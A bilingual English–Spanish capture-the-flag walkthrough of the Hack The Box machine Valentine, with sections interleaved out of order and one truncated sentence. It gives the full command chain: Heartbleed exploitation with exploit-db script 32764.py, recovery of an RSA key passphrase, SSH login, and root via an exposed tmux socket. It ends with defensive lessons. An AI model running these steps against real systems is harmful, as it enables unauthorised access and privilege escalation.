Valentine
Executive summary — Valentine is an Easy Linux box that doesn't rely on a single exploit, but on a chain of matching clues: an RSA private key exposed on the web (encrypted, hex-encoded) and the Heartbleed (CVE-2014-0160) vulnerability, which leaks memory from the TLS process and with it the key's passphrase. With the key decrypted we SSH in as
hype, and escalation abuses a poorly protected roottmuxsession: its socket is readable/writable by our user, so attaching is enough. A Heartbleed + RSA key → SSH → tmux → root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.232.136 |
Attack map
[22,80,443] nmap → OpenSSH 5.9p1 (old) + Apache 2.2.22 on HTTP and HTTPS
[80] gobuster → /dev/ (hype_key + notes.txt), /encode, /decode
│ hype_key: encrypted RSA private key, hex-encoded
▼
[443] Heartbleed (CVE-2014-0160) → memory leak → base64 passphrase
│ openssl rsa decrypts hype_key with that passphrase
▼
[SSH] hype (decrypted key, negotiating legacy ssh-rsa) → user.txt
│ .bash_history reveals a root tmux socket: /.devs/dev_sess
▼
[ROOT] tmux -S /.devs/dev_sess attach → root.txt
1. Reconnaissance
As in any real assessment, the first step is identifying exposed services with a full port scan:
nmap -Pn --open -sV -sC -p- 10.129.232.136
-Pn→ skips host-discovery ping (HTB usually blocks ICMP).--open→ shows only open ports.-sV→ tries to identify each service's version.-sC→ runs the default NSE scripts.-p-→ scans all 65535 ports, not just the top-1000.
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10
80/tcp open http Apache httpd 2.2.22
443/tcp open ssl/http Apache httpd 2.2.22
Interpretation: port 22 could give us a way in if we get credentials or a key. Port 80 serves plain content; 443 serves it over HTTPS, and is especially interesting because many OpenSSL vulnerabilities affect TLS services. On top of that, both OpenSSH and Apache are fairly old versions — already suggesting the box may be vulnerable to known techniques.
Resumen ejecutivo — Valentine es un Linux Easy que no depende de un único exploit, sino de una cadena de pistas encajadas: una clave RSA privada expuesta en la web (cifrada y codificada en hexadecimal) y la vulnerabilidad Heartbleed (CVE-2014-0160), que filtra memoria del proceso TLS y con ella la passphrase de esa clave. Con la clave descifrada entramos por SSH como
hype, y la escalada abusa de una sesióntmuxde root mal protegida: su socket es legible/escribible por nuestro usuario, así que basta con adjuntarse. Recorrido Heartbleed + clave RSA → SSH → tmux → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.232.136 |
Mapa del ataque
[22,80,443] nmap → OpenSSH 5.9p1 (antiguo) + Apache 2.2.22 en HTTP y HTTPS
[80] gobuster → /dev/ (hype_key + notes.txt), /encode, /decode
│ hype_key: clave RSA privada cifrada, codificada en hexadecimal
▼
[443] Heartbleed (CVE-2014-0160) → fuga de memoria → passphrase en base64
│ openssl rsa descifra hype_key con esa passphrase
▼
[SSH] hype (clave descifrada, negociando ssh-rsa legacy) → user.txt
│ .bash_history revela un socket tmux de root: /.devs/dev_sess
▼
[ROOT] tmux -S /.devs/dev_sess attach → root.txt
1. Reconocimiento
Como en cualquier evaluación real, lo primero es identificar los servicios expuestos con un escaneo completo de puertos:
nmap -Pn --open -sV -sC -p- 10.129.232.136
-Pn→ no intenta descubrir el host con ping previo (HTB suele bloquear ICMP).--open→ muestra solo los puertos abiertos.-sV→ intenta identificar la versión de cada servicio.-sC→ ejecuta los scripts NSE por defecto.-p-→ escanea los 65535 puertos, no solo el top-1000.
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10
80/tcp open http Apache httpd 2.2.22
443/tcp open ssl/http Apache httpd 2.2.22
Interpretación: el 22 nos ofrece una vía de acceso si conseguimos credenciales o una clave. El 80 sirve contenido sin cifrar; el 443 lo sirve por HTTPS, y es especialmente interesante porque muchas vulnerabilidades de OpenSSL afectan a servicios TLS. Además, tanto el OpenSSH como el Apache son versiones bastante antiguas — ya sugiere que la máquina puede ser vulnerable a técnicas conocidas.
2. Web enumeration
With only HTTP and HTTPS available, the logical next step is exploring the web app. Opening the homepage in a browser shows an image related to a bleeding heart. On Hack The Box this is rarely a coincidence: the visual clue points straight at Heartbleed. Still, it's worth enumerating properly before jumping to the exploit:
gobuster dir -u http://10.129.232.136 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
/dev
/encode
/decode
/index
The really important path is /dev/. /encode and /decode look like part of some web encoding/decoding feature; they're not directly exploitable, but they reinforce the idea that the system deals with transformed data.
3. Inspecting /dev and rebuilding the RSA key
Inside /dev/ there's a notes.txt with useful context:
curl http://10.129.232.136/dev/notes.txt
To do:
1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.
It doesn't grant direct access, but item 6 («find a better way to take notes») hints that the developer is storing information insecurely. That points to the other file in the directory:
hype_key.
curl http://10.129.232.136/dev/hype_key -o hype_key
cat hype_key
2d 2d 2d 2d 2d 42 45 47 49 4e ...
It's a hex-encoded private key: the first bytes
2d 2d 2d 2d 2dcorrespond to-----, the start of a PEM block. We rebuild it withxxdin reverse mode:
xxd -r -p hype_key > id_rsa
chmod 600 id_rsa
head id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
chmod 600 is mandatory: for security, SSH ignores any private key readable by other users. We now have a valid but encrypted RSA private key: we need the passphrase to use it.
4. Heartbleed (CVE-2014-0160) → the passphrase
What Heartbleed is: a historic OpenSSL flaw that lets you read chunks of the remote server's memory via the TLS heartbeat. It's not remote code execution, but it can leak credentials, cookies, sessions, private keys and other sensitive data.
searchsploit heartbleed
Among the results is the script
32764.py. It's an old exploit written for Python 2: if running it with Python 3 throws apython2instead.
python2 /usr/share/exploitdb/exploits/multiple/remote/32764.py 10.129.232.136
The output is a large memory dump from the process. You don't need to understand all of it: just spot useful strings. Among the leaked memory, a base64 string appears:
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
It fits the web's
/encode-/decodetheme. We decode it:
echo -n "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
heartbleedbelievethehype
That string is the passphrase for the RSA key from
/dev/hype_key. This is where the whole chain ties together:/devgave us the encrypted key, Heartbleed leaked memory, and in that memory was the encoded string that turns out to be exactly the missing passphrase. We decrypt the key:
openssl rsa -in id_rsa -out id_rsa_dec
# Enter pass phrase: heartbleedbelievethehype
writing RSA key
5. Initial access via SSH
The id_rsa_dec key no longer has Proc-Type/DEK-Info headers — it's ready to use. When connecting, a typical issue with modern SSH clients can appear: the server is old enough that its ssh-rsa signature is no longer accepted by default (error sign_and_send_pubkey: no mutual signature supported). It's not a problem with the key, just algorithm incompatibility; force the legacy algorithm:
ssh -i id_rsa_dec hype@10.129.232.136 -oPubkeyAcceptedAlgorithms=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa
cd ~/Desktop
cat user.txt
6. Escalation — root's tmux session
Checking the user's command history turns up a very strong lead:
cat ~/.bash_history
tmux -L dev_sess
tmux a -t dev_sess
tmux --help
tmux -S /.devs/dev_sess
hypehad already tried interacting with atmuxsession on a specific socket:/.devs/dev_sess. That's worth inspecting right away:
ls -la /.devs/dev_sess
srw-rw---- 1 root hype 0 ... /.devs/dev_sess
It's a Unix socket owned by
root, with grouphypeand read/write permissions for that group. In other words: there's atmuxsession created by root that our user can connect to — practically equivalent to a root shell. We attach:
tmux -S /.devs/dev_sess attach
root@Valentine:/home/hype#
tmux manages its sessions through Unix sockets. If a root session leaves its socket accessible to another user, that user inherits its context by attaching. It's not a memory or kernel exploit: it's a serious misconfiguration.
7. Root flag
id
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info leak | OpenSSL (443) | Heartbleed (CVE-2014-0160) — TLS process memory leak | RSA key passphrase |
| Foothold | Web (/dev/hype_key) | Exposed RSA private key (hex + encrypted) and leaked passphrase | SSH as hype |
| PrivEsc | tmux (/.devs/dev_sess) | Root session socket with overly permissive group access | Root |
Lessons learned
- Patch OpenSSL: Heartbleed (2014) leaks keys, passwords and sessions straight from process memory.
- Never publish private keys, not even hex-«obfuscated»: they're still the full key.
- An encrypted key isn't protected if the passphrase leaks through another channel: cryptographic protection only holds while the associated secret stays secret.
- Visual clues matter: the bleeding heart on the homepage pointed straight at Heartbleed.
- Shared root sockets/sessions (tmux, screen) with overly open group permissions equal a direct escalation path; many privescs don't rely on kernel exploits but on operational misconfigurations.
2. Enumeración web
Con solo HTTP y HTTPS disponibles, el paso lógico es explorar la web. Al abrir la portada en el navegador aparece una imagen relacionada con un corazón sangrando. En Hack The Box no suele ser casualidad: la pista visual apunta directo a Heartbleed. Aun así, conviene enumerar bien antes de saltar al exploit:
gobuster dir -u http://10.129.232.136 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
/dev
/encode
/decode
/index
La ruta realmente importante es /dev/. /encode y /decode parecen parte de alguna funcionalidad web de codificación/decodificación; no son explotables directamente, pero refuerzan la idea de que el sistema trabaja con datos transformados.
3. Inspección de /dev y reconstrucción de la clave RSA
Dentro de /dev/ hay un notes.txt con contexto útil:
curl http://10.129.232.136/dev/notes.txt
To do:
1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.
No da acceso directo, pero el punto 6 («busca una mejor forma de tomar notas») deja entrever que el desarrollador guarda información de forma poco segura. Eso lleva al otro archivo del directorio:
hype_key.
curl http://10.129.232.136/dev/hype_key -o hype_key
cat hype_key
2d 2d 2d 2d 2d 42 45 47 49 4e ...
Es una clave privada en hexadecimal: los primeros bytes
2d 2d 2d 2d 2dequivalen a-----, el inicio de un bloque PEM. La reconstruimos conxxden modo inverso:
xxd -r -p hype_key > id_rsa
chmod 600 id_rsa
head id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
chmod 600 es obligatorio: SSH ignora por seguridad cualquier clave legible por otros usuarios. Ya tenemos una clave RSA privada válida pero cifrada: hace falta la passphrase para usarla.
4. Heartbleed (CVE-2014-0160) → la passphrase
Qué es Heartbleed: un fallo histórico de OpenSSL que permite leer fragmentos de memoria del servidor remoto vía el heartbeat de TLS. No da ejecución remota, pero puede filtrar credenciales, cookies, sesiones, claves privadas y otros datos sensibles.
searchsploit heartbleed
Entre los resultados aparece el script
32764.py. Es un exploit antiguo escrito para Python 2: si al lanzarlo con Python 3 salta un error depython2.
python2 /usr/share/exploitdb/exploits/multiple/remote/32764.py 10.129.232.136
La salida es un volcado grande de memoria del proceso. No hace falta entenderlo todo: basta con localizar cadenas útiles. Entre la memoria filtrada aparece una cadena en base64:
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
Encaja con la temática
/encode-/decodede la web. La decodificamos:
echo -n "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
heartbleedbelievethehype
Esa cadena es la passphrase de la clave RSA de
/dev/hype_key. Aquí se une toda la cadena: en/devencontramos la clave cifrada, con Heartbleed filtramos memoria, y en esa memoria aparece la cadena codificada que resulta ser justo la passphrase que faltaba. Desciframos la clave:
openssl rsa -in id_rsa -out id_rsa_dec
# Enter pass phrase: heartbleedbelievethehype
writing RSA key
5. Acceso inicial por SSH
La clave id_rsa_dec ya no lleva cabeceras Proc-Type/DEK-Info — está lista para usarse. Al conectar puede aparecer un problema típico con clientes SSH modernos: el servidor es tan antiguo que su firma ssh-rsa ya no se acepta por defecto (error sign_and_send_pubkey: no mutual signature supported). No es un fallo de la clave, sino incompatibilidad de algoritmos; se resuelve forzando el legacy:
ssh -i id_rsa_dec hype@10.129.232.136 -oPubkeyAcceptedAlgorithms=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa
cd ~/Desktop
cat user.txt
6. Escalada — sesión tmux de root
Revisando el historial de comandos del usuario aparece una pista muy potente:
cat ~/.bash_history
tmux -L dev_sess
tmux a -t dev_sess
tmux --help
tmux -S /.devs/dev_sess
El propio
hypeya había intentado interactuar con una sesióntmuxsobre un socket concreto:/.devs/dev_sess. Merece inspección inmediata:
ls -la /.devs/dev_sess
srw-rw---- 1 root hype 0 ... /.devs/dev_sess
Es un socket Unix propiedad de
root, con grupohypey permisos de lectura/escritura para ese grupo. En otras palabras: hay una sesióntmuxcreada por root a la que nuestro usuario puede conectarse — equivale casi a una shell de root. Nos adjuntamos:
tmux -S /.devs/dev_sess attach
root@Valentine:/home/hype#
tmux gestiona sus sesiones mediante sockets Unix. Si una sesión de root deja el socket accesible para otro usuario, ese usuario hereda su contexto al adjuntarse. No es un exploit de memoria ni del kernel: es una mala configuración grave.
7. Root flag
id
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Info leak | OpenSSL (443) | Heartbleed (CVE-2014-0160) — fuga de memoria del proceso TLS | Passphrase de la clave RSA |
| Foothold | Web (/dev/hype_key) | Clave RSA privada expuesta (hex + cifrada) y passphrase filtrada | SSH como hype |
| PrivEsc | tmux (/.devs/dev_sess) | Socket de la sesión de root con permisos de grupo demasiado abiertos | Root |
Lecciones aprendidas
- Parchea OpenSSL: Heartbleed (2014) filtra claves, contraseñas y sesiones directamente de la memoria del proceso.
- Nunca publiques claves privadas, ni «ofuscadas» en hexadecimal: siguen siendo la llave completa.
- Una clave cifrada no protege si la passphrase se filtra por otra vía: la protección criptográfica solo vale mientras el secreto asociado siga siendo secreto.
- Las pistas visuales cuentan: el corazón sangrando de la portada apuntaba directo a Heartbleed.
- Sockets/sesiones compartidas de root (tmux, screen) con permisos de grupo demasiado abiertos equivalen a una escalada directa; muchas privescs no dependen de exploits de kernel sino de malas configuraciones operativas.